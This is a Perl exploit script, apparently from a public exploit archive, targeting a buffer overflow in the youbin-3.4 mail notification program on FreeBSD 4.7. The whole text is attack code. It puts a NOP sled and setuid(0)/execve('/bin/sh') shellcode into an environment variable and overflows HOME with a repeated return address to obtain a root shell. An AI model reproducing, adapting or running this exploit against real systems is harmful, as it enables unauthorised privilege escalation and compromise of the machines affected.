#!/usr/bin/perl
# DSR-youbin.pl - kokaninATdtors.net vs. /usr/ports/mail/youbin
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# shellcode by eSDee, he's cool
# youbin-3.4 Mail arrival notification service package
$len = 512;
$ret = pack("l",0xbfbffd68);
$nop = "\x90";
$shellcode = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
"\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
for ($i = 0; $i < $len - length($shellcode); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'EGG'}) = $buffer;
local($ENV{'HOME'}) = $ret x 259;
system("youbin"); |
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